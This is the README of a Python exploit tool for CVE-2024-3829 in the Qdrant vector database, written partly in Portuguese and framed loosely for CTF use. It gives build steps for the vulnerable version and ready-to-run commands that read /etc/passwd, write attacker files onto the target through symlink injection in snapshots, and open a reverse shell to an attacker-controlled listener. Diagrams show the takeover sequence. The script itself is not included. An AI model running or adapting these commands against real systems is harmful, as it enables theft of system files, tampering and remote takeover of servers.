
Exploit em Python para o CVE-2024-3829 que visa a importação/exportação de snapshots do Qdrant, permitindo leitura de arquivos, escrita de arquivos e execução de shell reversa por meio de injeção de symlink.
########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################
_______ __ __ _______ _______ _______ _______ _ ___ _______ _____ _______ _______
| || | | || | | || _ || || | | | | | | _ | | || _ |
| || |_| || ___| ____ |____ || | | ||____ || |_| | ____ |___ | | |_| | |____ || | | |
| || || |___ |____| ____| || | | | ____| || ||____| ___| || _ | ____| || |_| |
| _|| || ___| | ______|| |_| || ______||___ | |___ || | | || ______||___ |
| |_ | | | |___ | |_____ | || |_____ | | ___| || |_| || |_____ | |
|_______| |___| |_______| |_______||_______||_______| |___| |_______||_______||_______| |___|
############################################### by fabse-hack.de ###############################################
Este repositório documenta e demonstra CVE-2024-3829 para qdrant/qdrant (v1.9.0-dev)
A vulnerabilidade permite a manipulação de arquivos de snapshot através de truques de symlink/caminho. Isso possibilita duas classes de impacto e um reverse shell hahhaa:
Dependendo do ambiente, primitivas de escrita de arquivos podem escalar para execução de código.
1.9.0-devEsta versão não está mais disponível na world wide web (algumas pessoas chamam de "internet").
No repositório do qdrant, o relatório da NVD Nist apontou para o commit, que é o v1.9.0-dev vulnerável.
Se você quiser instalar esta versão para CTF / outras coisas em um docker, use:
git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln
cve_2024_3829.py - Exploit para fluxo de leitura/escrita/acionamentorequirements.txt - Dependências PythonrequestsInstalação:
python3 -m pip install -r requirements.txt
Mostrar todas as opções:
python3 cve_2024_3829.py -h
Exemplos:
# Modo leitura
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd
# Modo escrita
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh
# Modo reverse shell
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>
-h, --help: mostrar ajuda da CLI-m, --mode: um de read, write, reverse_shell (obrigatório)-tu, --target_url: URL base do Qdrant (padrão no script)-tp, --target_port: porta do alvo Qdrant (padrão: 6333)-tpath, --target_path: caminho remoto do alvo (padrão: /etc/)-tf, --target_file_name: nome do arquivo remoto do alvo (padrão: passwd)-ai, --attacker_ip: IP de callback/listener para modo reverse shell-ap, --attacker_port: porta de callback/listener (padrão: 9001)-apath, --attacker_path: caminho local do arquivo do atacante para modo write (padrão: /tmp/)-af, --attacker_file_name: nome do arquivo usado no alvo no modo write (padrão: shell.sh)--target_url deve ser a URL base sem a porta no final se você passar --target_port separadamente, porque o script constrói URLs como <url>:<target_port>/....read, o script combina --target_path e --target_file_name (por exemplo /etc/ + passwd).write, --attacker_path deve apontar para um arquivo local existente e --attacker_file_name define o nome do arquivo remoto.sequenceDiagram
participant Attacker
participant Exploit
participant Target
participant Listener
Attacker->>Exploit: Start exploit script
Exploit->>Listener: Start TCP listener
Exploit->>Target: Create malicious collection
Exploit->>Target: Upload trigger script
Exploit->>Target: Overwrite executable
Exploit->>Target: Call /stacktrace endpoint
Target->>Listener: Reverse shell connection
Listener->>Attacker: Interactive shell accessflowchart TD
Start[Start Listener]
Bind[Bind to attacker port]
Listen[Wait for connection]
Accept[Accept incoming connection]
Interactive[Interactive shell session]
End[Connection closed]
Start --> Bind
Bind --> Listen
Listen --> Accept
Accept --> Interactive
Interactive --> End